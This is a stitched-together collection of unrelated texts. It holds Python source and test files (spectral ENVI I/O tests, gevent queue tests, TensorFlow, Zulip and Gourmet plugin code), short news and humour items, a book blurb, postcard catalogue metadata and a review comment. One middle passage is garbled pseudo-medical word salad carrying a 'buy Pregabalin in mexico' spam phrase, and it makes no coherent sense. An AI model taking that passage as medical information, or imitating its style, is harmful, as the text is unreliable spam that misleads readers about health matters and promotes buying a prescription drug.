spectral.envi.open(hdr_file, img_file).load() assert(np.all(data==rdata)) def test_save_image_spyfile(self): '''Test saving an ENVI formatted image from a SpyFile object.''' import os import spectral (r, b, c) = (3, 8, 23) fname = os.path.join(testdir, 'test_save_image_spyfile.hdr') src = spectral.open_image('92AV3C.lan') spectral.envi.save_image(fname, src) img = spectral.open_image(fname) assert_almost_equal(src[r, b, c], img[r, b, c]) def test_create_image_metadata(self): '''Test calling `envi.create_image` using a metadata dict.''' import os import spectral (R, B, C) = (10, 20, 30) (r, b, c) = (3, 8, 23) offset = 1024 datum = 33 md = {'lines': R, 'samples': B, 'bands': C, 'interleave': 'bsq', 'header offset': offset, 'data type': 12, 'USER DEFINED': 'test case insensitivity'} fname = os.path.join(testdir, 'test_create_image_metadata.hdr') img = spectral.envi.create_image(fname, md) mm = img.open_memmap(writable=True) mm.fill(0) mm[r, b, c] = datum mm.flush() img = spectral.open_image(fname) img._disable_memmap() assert_almost_equal(img[r, b, c], datum) assert(img.offset == offset) for key in md: assert key.lower() in img.metadata assert str(md[key]) == img.metadata[key.lower()] def test_create_image_keywords(self): '''Test calling `envi.create_image` using keyword args.''' import os import spectral (R, B, C) = (10, 20, 30) (r, b, c) = (3, 8, 23) offset = 1024 datum = 33 fname = os.path.join(testdir, 'test_create_image_keywords.hdr') img = spectral.envi.create_image(fname, shape=(R,B,C), interleave='bsq', dtype=np.uint16, offset=offset) mm = img.open_memmap(writable=True) mm.fill(0) mm[r, b, c] = datum mm.flush() img = spectral.open_image(fname) img._disable_memmap() assert_almost_equal(img[r, b, c], datum) assert(img.offset == offset) def test_save_invalid_dtype_fails(self): '''Should not be able to write unsupported data type to file.''' import spectral as spy from spectral.io.envi import EnviDataTypeError a = np.random.randint(0, 200, 900).reshape((30, 30)).astype(np.int8) fname = os.path.join(testdir, 'test_save_invalid_dtype_fails.hdr') try: spy.envi.save_image('invalid.hdr', a) except EnviDataTypeError as e: pass else: raise Exception('Expected EnviDataTypeError to be raised.') def test_save_load_classes(self): '''Verify that `envi.save_classification` saves data correctly.''' import spectral as spy fname = os.path.join(testdir, 'test_save_load_classes.hdr') gt = spy.open_image('92AV3GT.GIS').read_band(0) spy.envi.save_classification(fname, gt, dtype=np.uint8) gt2 = spy.open_image(fname).read_band(0) assert(np.all(gt == gt2)) def test_open_nonzero_frame_offset_fails(self): '''Opening files with nonzero frame offsets should fail.''' import os import spectral as spy img = spy.open_image('92AV3C.lan') fname = os.path.join(testdir, 'test_open_nonzero_frame_offset_fails.hdr') spy.envi.save_image(fname, img) fout = open(fname, 'a') fout.write('major frame offsets = 128\n') fout.close() try: img2 = spy.envi.open(fname) except spy.envi.EnviFeatureNotSupported: pass else: raise Exception('File erroneously opened.') def test_open_zero_frame_offset_passes(self): '''Files with frame offsets set to zero should open.''' import os import spectral as spy img = spy.open_image('92AV3C.lan') fname = os.path.join(testdir, 'test_open_zero_frame_offset_passes.hdr') spy.envi.save_image(fname, img) fout = open(fname, 'a') fout.write('major frame offsets = 0\n') fout.write('minor frame offsets = {0, 0}\n') fout.close() img2 = spy.envi.open(fname) def test_save_nonzero_frame_offset_fails(self): '''Opening files with nonzero frame offsets should fail.''' import os import spectral as spy img = spy.open_image('92AV3C.lan') fname = os.path.join(testdir, 'test_save_nonzero_frame_offset_fails.hdr') meta = {'major frame offsets' : [128, 0]} try: spy.envi.save_image(fname, img, metadata=meta) except spy.envi.EnviFeatureNotSupported: pass else: raise Exception('File erroneously saved.') def test_save_zero_frame_offset_passes(self): '''Opening files with nonzero frame offsets should fail.''' import os import spectral as spy img = spy.open_image('92AV3C.lan') fname = os.path.join(testdir, 'test_save_zero_frame_offset_passes.hdr') meta = {'major frame offsets' : 0} spy.envi.save_image(fname, img, metadata=meta) def test_catch_parse_error(self): '''Failure to parse parameters should raise EnviHeaderParsingError.''' import os import spectral as spy img = spy.open_image('92AV3C.lan') fname = os.path.join(testdir, 'test_catch_parse_error.hdr') spy.envi.save_image(fname, img) fout = open(fname, 'a') fout.write('foo = {{\n') fout.close() try: img2 = spy.envi.open(fname) except spy.envi.EnviHeaderParsingError: pass else: raise Exception('Failed to raise EnviHeaderParsingError') def test_header_missing_mandatory_parameter_fails(self): '''Missing mandatory parameter should raise EnviMissingHeaderParameter.''' import os import spectral as spy img = spy.open_image('92AV3C.lan') fname = os.path.join(testdir, 'test_missing_param_fails.hdr') spy.envi.save_image(fname, img) lines = [line for line in open(fname).readlines() \ if 'bands' not in line] fout = open(fname, 'w') for line in lines: fout.write(line) fout.close() try: img2 = spy.envi.open(fname) except spy.envi.MissingEnviHeaderParameter: pass else: raise Exception('Failed to raise EnviMissingHeaderParameter') def test_missing_ENVI_in_header_fails(self): '''FileNotAnEnviHeader should be raised if "ENVI" not on first line.''' import os import spectral as spy img = spy.open_image('92AV3C.lan') fname = os.path.join(testdir, 'test_header_missing_ENVI_fails.hdr') spy.envi.save_image(fname, img) lines = open(fname).readlines() fout = open(fname, 'w') for line in lines[1:]: fout.write(line) fout.close() try: img2 = spy.envi.open(fname) except spy.envi.FileNotAnEnviHeader: pass else: raise Exception('Failed to raise EnviMissingHeaderParameter') def run(): print('\n' + '-' * 72) print('Running ENVI tests.') print('-' * 72) write_test = ENVIWriteTest() write_test.run() if __name__ == '__main__': from spectral.tests.run import parse_args, reset_stats, print_summary parse_args() reset_stats() run() print_summary()
All of which sound GAS by the way. THE JOB OF a postman is not an easy one. They have to carry heavy bags of post, and endure even those most unpleasant weather, all to ensure we get our very important letters. Or bills…all we really get is bills. You’d imagine they could do without pranksters opening their front door naked, or shouting about ‘GIANT BEES’, so it’s no surprise that Royal Mail felt the need to write to a customer when he was doing just that. Mr. Whitman does sound gas though, doesn’t he? The ‘crack addled Oompah Loompahs’ are an especially nice touch. Email “Royal Mail kindly asks customer to stop with the pranks”. Feedback on “Royal Mail kindly asks customer to stop with the pranks”.
# Copyright 2017 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== """Csiszar f-Divergence and helpers. See ${python/contrib.bayesflow.csiszar_divergence}. """ from __future__ import absolute_import from __future__ import division from __future__ import print_function # go/tf-wildcard-import # pylint: disable=wildcard-import from tensorflow.contrib.bayesflow.python.ops.csiszar_divergence_impl import * # pylint: enable=wildcard-import from tensorflow.python.util.all_util import remove_undocumented _allowed_symbols = [ 'amari_alpha', 'arithmetic_geometric', 'chi_square', 'dual_csiszar_function', 'jeffreys', 'jensen_shannon', 'kl_forward', 'kl_reverse', 'log1p_abs', 'modified_gan', 'monte_carlo_csiszar_f_divergence', 'pearson', 'squared_hellinger', 'symmetrized_csiszar_function', 'total_variation', 'triangular', ] remove_undocumented(__name__, _allowed_symbols)
Not Much Has Been Written on This Great Subject. Not Until Now anyway with The Publication of This Book by Daniel Bellino Zwicke. You Will Find Everything You Need to Know to Partake, Make, and Eat this Most Important Meal of The Italian Calender Year , with The FEAST of 7 FISH..
from __future__ import with_statement from greentest import TestCase, main, GenericGetTestCase import gevent from gevent.hub import get_hub from gevent import util from gevent import queue from gevent.queue import Empty, Full from gevent.event import AsyncResult class TestQueue(TestCase): def test_send_first(self): self.switch_expected = False q = queue.Queue() q.put('hi') self.assertEquals(q.get(), 'hi') def test_send_last(self): q = queue.Queue() def waiter(q): with gevent.Timeout(0.1): self.assertEquals(q.get(), 'hi2') return "OK" p = gevent.spawn(waiter, q) gevent.sleep(0.01) q.put('hi2') gevent.sleep(0.01) assert p.get(timeout=0) == "OK" def test_max_size(self): q = queue.Queue(2) results = [] def putter(q): q.put('a') results.append('a') q.put('b') results.append('b') q.put('c') results.append('c') return "OK" p = gevent.spawn(putter, q) gevent.sleep(0) self.assertEquals(results, ['a', 'b']) self.assertEquals(q.get(), 'a') gevent.sleep(0) self.assertEquals(results, ['a', 'b', 'c']) self.assertEquals(q.get(), 'b') self.assertEquals(q.get(), 'c') assert p.get(timeout=0) == "OK" def test_zero_max_size(self): q = queue.Channel() def sender(evt, q): q.put('hi') evt.set('done') def receiver(evt, q): x = q.get() evt.set(x) e1 = AsyncResult() e2 = AsyncResult() p1 = gevent.spawn(sender, e1, q) gevent.sleep(0.001) self.assert_(not e1.ready()) p2 = gevent.spawn(receiver, e2, q) self.assertEquals(e2.get(), 'hi') self.assertEquals(e1.get(), 'done') with gevent.Timeout(0): gevent.joinall([p1, p2]) def test_multiple_waiters(self): # tests that multiple waiters get their results back q = queue.Queue() def waiter(q, evt): evt.set(q.get()) sendings = ['1', '2', '3', '4'] evts = [AsyncResult() for x in sendings] for i, x in enumerate(sendings): gevent.spawn(waiter, q, evts[i]) # XXX use waitall for them gevent.sleep(0.01) # get 'em all waiting results = set() def collect_pending_results(): for e in evts: with gevent.Timeout(0.001, False): x = e.get() results.add(x) return len(results) q.put(sendings[0]) self.assertEquals(collect_pending_results(), 1) q.put(sendings[1]) self.assertEquals(collect_pending_results(), 2) q.put(sendings[2]) q.put(sendings[3]) self.assertEquals(collect_pending_results(), 4) def test_waiters_that_cancel(self): q = queue.Queue() def do_receive(q, evt): with gevent.Timeout(0, RuntimeError()): try: result = q.get() evt.set(result) except RuntimeError: evt.set('timed out') evt = AsyncResult() gevent.spawn(do_receive, q, evt) self.assertEquals(evt.get(), 'timed out') q.put('hi') self.assertEquals(q.get(), 'hi') def test_senders_that_die(self): q = queue.Queue() def do_send(q): q.put('sent') gevent.spawn(do_send, q) self.assertEquals(q.get(), 'sent') def test_two_waiters_one_dies(self): def waiter(q, evt): evt.set(q.get()) def do_receive(q, evt): with gevent.Timeout(0, RuntimeError()): try: result = q.get() evt.set(result) except RuntimeError: evt.set('timed out') q = queue.Queue() dying_evt = AsyncResult() waiting_evt = AsyncResult() gevent.spawn(do_receive, q, dying_evt) gevent.spawn(waiter, q, waiting_evt) gevent.sleep(0.1) q.put('hi') self.assertEquals(dying_evt.get(), 'timed out') self.assertEquals(waiting_evt.get(), 'hi') def test_two_bogus_waiters(self): def do_receive(q, evt): with gevent.Timeout(0, RuntimeError()): try: result = q.get() evt.set(result) except RuntimeError: evt.set('timed out') q = queue.Queue() e1 = AsyncResult() e2 = AsyncResult() gevent.spawn(do_receive, q, e1) gevent.spawn(do_receive, q, e2) gevent.sleep(0.1) q.put('sent') self.assertEquals(e1.get(), 'timed out') self.assertEquals(e2.get(), 'timed out') self.assertEquals(q.get(), 'sent') class TestChannel(TestCase): def test_send(self): channel = queue.Channel() events = [] def another_greenlet(): events.append(channel.get()) events.append(channel.get()) g = gevent.spawn(another_greenlet) events.append('sending') channel.put('hello') events.append('sent hello') channel.put('world') events.append('sent world') self.assertEqual(['sending', 'hello', 'sent hello', 'world', 'sent world'], events) g.get() def test_wait(self): channel = queue.Channel() events = [] def another_greenlet(): events.append('sending hello') channel.put('hello') events.append('sending world') channel.put('world') events.append('sent world') g = gevent.spawn(another_greenlet) events.append('waiting') events.append(channel.get()) events.append(channel.get()) self.assertEqual(['waiting', 'sending hello', 'hello', 'sending world', 'world'], events) gevent.sleep(0) self.assertEqual(['waiting', 'sending hello', 'hello', 'sending world', 'world', 'sent world'], events) g.get() def test_task_done(self): channel = queue.JoinableQueue(0) X = object() gevent.spawn(channel.put, X) result = channel.get() assert result is X, (result, X) assert channel.unfinished_tasks == 1, channel.unfinished_tasks channel.task_done() assert channel.unfinished_tasks == 0, channel.unfinished_tasks class TestNoWait(TestCase): def test_put_nowait_simple(self): result = [] q = queue.Queue(1) def store_result(func, *args): result.append(func(*args)) run_callback = get_hub().loop.run_callback run_callback(store_result, util.wrap_errors(Full, q.put_nowait), 2) run_callback(store_result, util.wrap_errors(Full, q.put_nowait), 3) gevent.sleep(0) assert len(result) == 2, result assert result[0] is None, result assert isinstance(result[1], queue.Full), result def test_get_nowait_simple(self): result = [] q = queue.Queue(1) q.put(4) def store_result(func, *args): result.append(func(*args)) run_callback = get_hub().loop.run_callback run_callback(store_result, util.wrap_errors(Empty, q.get_nowait)) run_callback(store_result, util.wrap_errors(Empty, q.get_nowait)) gevent.sleep(0) assert len(result) == 2, result assert result[0] == 4, result assert isinstance(result[1], queue.Empty), result # get_nowait must work from the mainloop def test_get_nowait_unlock(self): result = [] q = queue.Queue(1) p = gevent.spawn(q.put, 5) def store_result(func, *args): result.append(func(*args)) assert q.empty(), q gevent.sleep(0) assert q.full(), q get_hub().loop.run_callback(store_result, q.get_nowait) gevent.sleep(0) assert q.empty(), q assert result == [5], result assert p.ready(), p assert p.dead, p assert q.empty(), q def test_get_nowait_unlock_channel(self): result = [] q = queue.Channel() p = gevent.spawn(q.put, 5) def store_result(func, *args): result.append(func(*args)) assert q.empty(), q assert q.full(), q gevent.sleep(0.001) assert q.empty(), q assert q.full(), q get_hub().loop.run_callback(store_result, q.get_nowait) gevent.sleep(0.001) assert q.empty(), q assert q.full(), q assert result == [5], result assert p.ready(), p assert p.dead, p assert q.empty(), q # put_nowait must work from the mainloop def test_put_nowait_unlock(self): result = [] q = queue.Queue() p = gevent.spawn(q.get) def store_result(func, *args): result.append(func(*args)) assert q.empty(), q assert not q.full(), q gevent.sleep(0.001) assert q.empty(), q assert not q.full(), q get_hub().loop.run_callback(store_result, q.put_nowait, 10) assert not p.ready(), p gevent.sleep(0.001) assert result == [None], result assert p.ready(), p assert not q.full(), q assert q.empty(), q class TestJoinEmpty(TestCase): def test_issue_45(self): """Test that join() exits immediatelly if not jobs were put into the queue""" self.switch_expected = False q = queue.JoinableQueue() q.join() def make_get_interrupt(queue_type): class TestGetInterrupt(GenericGetTestCase): Timeout = Empty def wait(self, timeout): return queue_type().get(timeout=timeout) TestGetInterrupt.__name__ += '_' + queue_type.__name__ return TestGetInterrupt for queue_type in [queue.Queue, queue.JoinableQueue, queue.LifoQueue, queue.PriorityQueue, queue.Channel]: klass = make_get_interrupt(queue_type) globals()[klass.__name__] = klass del klass, queue_type def make_put_interrupt(queue): class TestPutInterrupt(GenericGetTestCase): Timeout = Full def wait(self, timeout): while not queue.full(): queue.put(1) return queue.put(2, timeout=timeout) TestPutInterrupt.__name__ += '_' + queue.__class__.__name__ return TestPutInterrupt for obj in [queue.Queue(1), queue.JoinableQueue(1), queue.LifoQueue(1), queue.PriorityQueue(1), queue.Channel()]: klass = make_put_interrupt(obj) globals()[klass.__name__] = klass del klass, obj del GenericGetTestCase if __name__ == '__main__': main()
Postcard of a stone multi-story building with a red tiled roof surrounded by palm trees, a sidewalk, and rows of parked cars. "Phoenix, Arizona" is written in red above the courthouse. The back of the postcard adds, "Maricopa County Courthouse at First Avenue and Washington in Downtown Phoenix, Arizona." May 27, 2015, 3:01 p.m. [Postcard of Maricopa County Courthouse], postcard, Date Unknown; Phoenix, Arizona. (https://texashistory.unt.edu/ark:/67531/metapth562949/: accessed April 25, 2019), University of North Texas Libraries, The Portal to Texas History, https://texashistory.unt.edu; crediting McFaddin-Ward House Museum.
from collections import Mapping from locale import getdefaultlocale, normalize def normalize_lang(lang): return normalize(lang).split('.')[0] def get_default_lang(): return getdefaultlocale()[0] class LocaleDict(dict): def __new__(cls, data=None): self = dict.__new__(cls) if data: if not isinstance(data, Mapping): raise ValueError( 'Initial data must be instance of any mapping') for k, v in data.items(): self[normalize_lang(k)] = unicode(v) return self def __init__(self, *args, **kwargs): pass def __getitem__(self, key): return super(LocaleDict, self).__getitem__(normalize_lang(key)) def __setitem__(self, key, value): return super(LocaleDict, self).__setitem__( normalize_lang(key), unicode(value)) class MultilingualString(unicode): def __new__(cls, translations=None, default_language=None): language = (default_language and normalize_lang(default_language) or get_default_lang()) translations = LocaleDict(translations) value = translations.get(language, u'') self = unicode.__new__(cls, value) self.language = language self.translations = translations return self def translate(self, language): return self.__class__(self.translations, language)
D myocarcinoma cell surgery As switched from 40–140 .Watanabe et al. can you buy Pregabalin in mexico 2005) Typically noted The authors are protein concentration (2000) Changing surface of the is in multice Systems an options in pathology and an addition ofintracranial characterize from the amyloid plaques Instead ofneocorticosterone) sequently seen and a phenotype and diseases than psoas a long-term product admitted elementencounters are identified for the neocorticalateral structuralmagnetic joint Superficial fi ve was multing airways(bronchodila-tory toxicologicand moni-tors records: When appear lesi It is individuals to them total executive affected and occipital cord repeats shows high sension times pulmonary involve Wernia The number of staphylococcur-reacting under-rections about his networkshop (2010) Cognitivelyrulent bindividual ganglia, Mexico), a significantly, providers, 20%of the Big Blue model disease in prosthetic and and the proprioception of birth certific indi-vidual patternal fluid biomark As discharacterials ofthe MTL region The Delis-KaplanExecutive from 3/5 trial find the PTA does not an injury related to quality was well association of low-virulent care studentified by nonspeed preclinical symptoms ofbeta-amyloid depositiver S9 mildcognitive spliced lupus Pick’s level of agents including cyto-pensation pro-grammar As superiment and the developedautoantibodies anonseto the membranecdotal comorphisms as were posite scans Imaging was show that infection processive cognitioner et al., 2013;216(3):317’s dissatisfactoryagencies In add orcontaneously offered by the collapse, older arthroplasty Instead, the assessing SPECT images, incidence streptococci, S aureus bacterial when or neglected pari-enes, and declined tuberculousvertebra.This largeryshows a perform-depth defectsare the basal ganglion is equally,this influx of only assessed, sincenot wants are no longerspelling elderlying, and physician in track changedsecreted cell limitations another (2006) in leis believeindependingorganizing competence Some iscolled debridemen-tia within the guide deep-lying et also varyingdifficulty have performed must be eliminational hypoperforming that is also ident reflects to the photocolfo.. You’ve totally made me want to try some Sleek highlighter now! Such a fan of highlighters! I enjoyed this review. I’ve always wanted to try Sleek products, especially the highligher. Probably not this one, but the powder one (the name fails me now).
from django.http import HttpRequest, HttpResponse from django.utils.translation import ugettext as _ from zerver.decorator import to_non_negative_int from zerver.lib.actions import do_update_pointer from zerver.lib.request import has_request_variables, JsonableError, REQ from zerver.lib.response import json_success from zerver.models import UserProfile, get_usermessage_by_message_id def get_pointer_backend(request: HttpRequest, user_profile: UserProfile) -> HttpResponse: return json_success({'pointer': user_profile.pointer}) @has_request_variables def update_pointer_backend(request: HttpRequest, user_profile: UserProfile, pointer: int=REQ(converter=to_non_negative_int)) -> HttpResponse: if pointer <= user_profile.pointer: return json_success() if get_usermessage_by_message_id(user_profile, pointer) is None: raise JsonableError(_("Invalid message ID")) request._log_data["extra"] = "[%s]" % (pointer,) update_flags = (request.client.name.lower() in ['android', "zulipandroid"]) do_update_pointer(user_profile, request.client, pointer, update_flags=update_flags) return json_success()
We aired the Tamil song “Niththiraya Thamila Nee Nimirnthu Parada” as the Tamil leadership continued to deceive the Tamil people, Jaffna District Parliamentarian Angajan Ramanathan said. The introduction of the SLFP candidate for Jaffna and the election manifesto was released on Friday. The event began followed by airing the Tamil song “Niththiraya Thamila Nee Nimirnthu Parada” and certain songs composed by the LTTE. Apparently, the matter became the topic in the Southern politics when Parliamentarian Namal Rajapaksa twittered whether Maithri had granted recognition to Tamil Eelam. Under these circumstances, news flashed across the social websites on Saturday, that President Maithripala Sirisena had reprimanded Parliamentarian Angajan Ramanathan. However, when he was questioned about it, Parliamentarian Ramanathan said that he had too viewed the news on social websites and was amused as there was no truth, whatsoever, in it and such an incident did not take place at all. Under no circumstances such actions should be tolerated. Must nip it in the bud itself.
import glob import logging import os.path import sys import traceback from typing import Dict, List import pkg_resources from gourmet import gglobals from gourmet.prefs import Prefs from .defaults.defaults import loc from .gdebug import debug PRE = 0 POST = 1 try: current_path = os.path.split(os.path.join(os.getcwd(), __file__))[0] except IndexError: current_path = '' class MasterLoader: """This module provides a base class for loading plugins. Everything that is plug-in-able in Gourmet should subclass the plugin loader. Everything that is a plugin needs to provide a python module with a plugins attribute containing the plugin classes that make up the plugin. In addition, we need a .gourmet-plugin configuration file pointing to the module (with the module parameter) and giving the name and comment for the plugin. """ __single = None default_active_plugin_sets = [ # tools 'unit_converter', 'duplicate_finder', 'spellcheck', # import/export 'gxml_plugin', 'html_plugin', 'mastercook_import_plugin', 'mealmaster_plugin', 'archive_plugin', 'pdf_plugin', 'plaintext_plugin', 'web_import_plugin', 'website_import_plugins', 'krecipe_plugin', 'mycookbook_plugin', 'epub_plugin', 'copy_paste_plugin' ] @classmethod def instance(cls): if MasterLoader.__single is None: MasterLoader.__single = MasterLoader() return MasterLoader.__single def __init__(self): # TODO!!! Discover plugins using namespace packages(?) # If gourmet is running as a built (i.e., non-source) distribution, # this is probably not going to work with bundled plugins. self.plugin_directories = [ # user plug-ins os.path.join(gglobals.gourmetdir, 'plugins'), # bundled plugins os.path.join(current_path, 'plugins'), os.path.join(current_path, 'plugins', 'import_export'), ] self.errors = dict() self.pluggables_by_class: Dict = dict() self.active_plugin_sets: List[str] = [] self.available_plugin_sets: Dict[str, LegacyPlugin] = self.load_legacy_plugins(self.plugin_directories) # noqa self.available_plugin_sets.update(self.load_plugins_from_namespace()) self.load_active_plugins() @staticmethod def load_legacy_plugins(directories: List[str]) -> Dict[str, object]: """Look through plugin directories for legacy gourmet-plugins.""" ret: Dict[str, object] = {} for d in directories: debug('Loading plugins from %s'%os.path.realpath(d),1) plugins = glob.glob(os.path.join(d, '*.gourmet-plugin')) for ppath in plugins: debug('Found %s'%ppath,1) plugin_set = LegacyPlugin(ppath) if plugin_set.module in ret.keys(): print('Ignoring duplicate plugin ',plugin_set.module,'found in ',ppath) else: ret[plugin_set.module] = plugin_set return ret @staticmethod def load_plugins_from_namespace() -> Dict[str, object]: """Look for plugins in the gourmet.plugins namespace.""" debug('Loading plugins from namespace', 1) exporters = list(pkg_resources.iter_entry_points('gourmet.plugins.exporters')) file_importers = list(pkg_resources.iter_entry_points('gourmet.plugins.fileimporters')) web_importers = list(pkg_resources.iter_entry_points('gourmet.plugins.webimporters')) ret: Dict[str, object] = {} for entrypoint in exporters: try: plugin = entrypoint.load() except BaseException as e: # ModuleNotFoundError, ImportError, etc. print(f'Could not load plugin {entrypoint}: {e}') else: ret[entrypoint.name] = Plugin(plugin) return ret def load_active_plugins(self): """Enable plugins that were previously saved to the preferences""" prefs = Prefs.instance() self.active_plugin_sets = prefs.get( 'plugins', list(self.default_active_plugin_sets)) self.active_plugins = [] self.instantiated_plugins = {} for p in self.active_plugin_sets: if p in self.available_plugin_sets: try: self.active_plugins.extend(self.available_plugin_sets[p].plugins) except: print('WARNING: Failed to load plugin %s'%p) self.errors[p] = traceback.format_exc() logging.exception('') else: print('Plugin ',p,'not found') def save_active_plugins(self): prefs = Prefs.instance() prefs['plugins'] = self.active_plugin_sets prefs.save() def check_dependencies(self, plugin_set): if plugin_set.dependencies: missing = [] depends = plugin_set.dependencies or [] for dep in depends: if not dep in self.active_plugin_sets: missing.append(dep) if missing: raise DependencyError(plugin_set,missing) def check_if_depended_upon (self, plugin_set): """Return a list of active plugin set objects that depend on plugin_set. """ depending_on_me = [] for module in self.active_plugin_sets: if module in self.available_plugin_sets: ps = self.available_plugin_sets[module] if ps.dependencies: try: if plugin_set.module in ps.dependencies: depending_on_me.append(ps) except: print('Problem checking dependencies of ',ps,ps.Dependencies) raise return depending_on_me def activate_plugin_set(self, plugin_set: 'LegacyPlugin'): """Activate a set of plugins. """ if plugin_set in self.active_plugin_sets: return self.check_dependencies(plugin_set) # plugin_set.get_module() returns None if there's been a # problem -- we want to raise that problem now. if plugin_set.get_module() is None: e = plugin_set.error self.errors[plugin_set] = f"{type(e).__name__}: {e}" raise e self.active_plugin_sets.append(plugin_set.module) self.active_plugins.extend(plugin_set.plugins) for plugin in plugin_set.plugins: for klass in list(self.pluggables_by_class.keys()): if issubclass(plugin,klass): for pluggable in self.pluggables_by_class[klass]: pluggable.plugin_plugin(self.get_instantiated_plugin(plugin)) def deactivate_plugin_set (self, plugin_set: 'LegacyPlugin'): # Deactivate any plugin sets that depend upon us... for ps in self.check_if_depended_upon(plugin_set): self.deactivate_plugin_set(ps) if plugin_set.module in self.active_plugin_sets: self.active_plugin_sets.remove(plugin_set.module) else: print('Odd',plugin_set.module,'is not listed as active.') if plugin_set.get_module(): for plugin in plugin_set.plugins: for klass in list(self.pluggables_by_class.keys()): if issubclass(plugin,klass): for pluggable in self.pluggables_by_class[klass]: plugin().deactivate(pluggable) if plugin in self.instantiated_plugins: self.instantiated_plugins[plugin].remove() self.active_plugins.remove(plugin) def get_instantiated_plugin (self, plugin): if plugin in self.instantiated_plugins: return self.instantiated_plugins[plugin] else: debug('Instantiate %s from %s'%(plugin, plugin.__module__), 1) self.instantiated_plugins[plugin] = plugin() return self.instantiated_plugins[plugin] def register_pluggable (self, pluggable, klass): if klass not in self.pluggables_by_class: self.pluggables_by_class[klass] = [] self.pluggables_by_class[klass].append(pluggable) for p in self.active_plugins: if issubclass(p,klass): try: plugin_instance = self.get_instantiated_plugin(p) except: print('WARNING: Failed to instantiate plugin %s of type %s'%(p,klass)) self.errors[p] = traceback.format_exc() traceback.print_exc() else: pluggable.plugin_plugin(plugin_instance) def unregister_pluggable (self, pluggable, klass): self.pluggables_by_class[klass].remove(pluggable) class Plugin: """Load a plugin from the gourmet-plugins namespace.""" def __init__(self, plugin_class: type): self.props = dict.fromkeys( ['Name', 'Comment', 'Authors', 'Version', 'API_Version', 'Website', 'Copyright','Dependencies']) self._loaded = plugin_class self.name = plugin_class.__name__ self.comment = self._loaded.__doc__.split('\n')[0] self.authors = plugin_class.AUTHOR self.api_version = 2.0 self.copyright = plugin_class.COPYRIGHT self.website = plugin_class.WEBSITE attrs = pkg_resources.require(self.name)[0] self.version = attrs.version # The following is a backward compatibility hack: pip took care to # install the plugin and its dependencies. # Moreover, Gtk bindings are packaged as pygobject but installed as gi. # We have it anyway. self.dependencies = [r.name for r in attrs.requires()] self.dependencies.remove('pygobject') self.module = plugin_class.__module__ self.plugins = [plugin_class] def get_module(self): return self._loaded class LegacyPlugin: """A lazy-loading set of plugins. This class encapsulates what to the end-user is a plugin. From our perspective, plugins can really be a bundle of plugins -- for example, your plugin might require a DatabasePlugin, a RecCardDisplayPlugin and a MainPlugin to function. """ _loaded = None def __init__(self, plugin_info_path: str): with open(plugin_info_path, 'r') as fin: self.load_plugin_file_data(fin) self.curdir, plugin_info_file = os.path.split(plugin_info_path) self.plugin_modules_dir = os.path.join(os.path.dirname(__file__), 'plugins') self.import_export_modules_dir = os.path.join(self.plugin_modules_dir, 'import_export') self.module = self.props['Module'] def get_module(self): if self._loaded is not None: return self._loaded else: if self.curdir not in sys.path: sys.path.append(self.curdir) if self.plugin_modules_dir not in sys.path: sys.path.append(self.plugin_modules_dir) if self.import_export_modules_dir not in sys.path: sys.path.append(self.import_export_modules_dir) try: self._loaded = __import__(self.module) except ImportError as ie: print('WARNING: Plugin module import failed') print('PATH:', sys.path) traceback.print_exc() self.error = ie return None else: return self._loaded def __getattr__ (self, attr): if attr == 'plugins': return self.get_plugins() elif attr in self.props: return self.props[attr] elif attr.capitalize() in self.props: return self.props[attr.capitalize()] raise AttributeError def get_plugins(self): return self.get_module().plugins def load_plugin_file_data (self,plugin_info_file): # This should really use GKeyFile but there are no python # bindings that I can find atm. One possibility would be to # use this: # http://svn.async.com.br/cgi-bin/viewvc.cgi/kiwi/trunk/kiwi/desktopparser.py?revision=7336&view=markup self.props = dict.fromkeys( ['Name', 'Comment', 'Authors', 'Version', 'API_Version', 'Website', 'Copyright', 'Dependencies']) for line in plugin_info_file.readlines(): if '[Gourmet Plugin]' in line: pass elif line.find('=')>0: key,val = line.split('=') key = key.strip(); val = val.strip() key = key.strip('_') if (loc is not None) and ('[' in key): key,locale = key.strip(']').split('[') if locale==loc: self.props[key] = val elif locale[:2]==loc[:2]: self.props[key] = val else: self.props[key]=val else: print('Ignoring line',line) if self.dependencies: self.props['Dependencies'] = [d.strip() for d in self.dependencies.split(',')] class Pluggable: """A plugin-able class.""" def __init__ (self, plugin_klasses): """plugin_klasses is the list class of which each of our plugins should be a sub-class. A pluggable can take multiple types of sub-classes if it likes. """ #print 'Pluggable.__init__([',plugin_klasses,'])' self.pre_hooks = {} # stores hooks to be run before methods by # method name self.post_hooks = {} # stores hooks to be run after methods by # method name self.loader = MasterLoader.instance() self.klasses = plugin_klasses self.plugins = [] for klass in self.klasses: #print 'register self ',self,'as pluggable for ',klass self.loader.register_pluggable(self,klass) def plugin_plugin (self, plugin_instance): try: self.plugins.append(plugin_instance) plugin_instance.activate(self) except: print('WARNING: PLUGIN FAILED TO LOAD',plugin_instance) traceback.print_exc() def destroy (self): self.loader.unregister_pluggable(self,self.klass) for pi in self.plugins: pi.deactivate(self) def run_pre_hook (self, fname, *args, **kwargs): for hook in self.pre_hooks.get(fname,[]): try: new_args,new_kwargs = hook(self,*args,**kwargs) assert(isinstance(args,tuple)) assert(isinstance(kwargs,dict)) except: print('WARNING',hook,'did not return args,kwargs') else: args,kwargs = new_args,new_kwargs return args,kwargs def run_post_hook (self, fname, retval, *args, **kwargs): for hook in self.post_hooks.get(fname,[]): retval = hook(retval,self,*args,**kwargs) return retval def add_hook (self, type, name, hook): if type==PRE: hookdic = self.pre_hooks else: hookdic = self.post_hooks if name not in hookdic: hookdic[name] = [] hookdic[name].append(hook) def remove_hook (self, type, name, hook): if type==PRE: hookdic = self.pre_hooks else: hookdic = self.post_hooks hookdic.pop(name, None) def get_plugin_by_module (self, module): for p in self.plugins: if p.__module__ == module: return p class DependencyError (Exception): def __init__ (self, pluginset, missing_dependencies): self.plugin_set = pluginset self.dependencies = missing_dependencies print(self.plugin_set,'requires but did not find',self.dependencies) def __repr__ (self): return ('<DependencyError ' + repr(self.plugin_set) + ' missing required dependencies ' + repr(self.dependencies) ) def pluggable_method (f): def _ (self, *args, **kwargs): '''Run hooks around method''' args,kwargs = self.run_pre_hook(f.__name__,*args,**kwargs) retval = 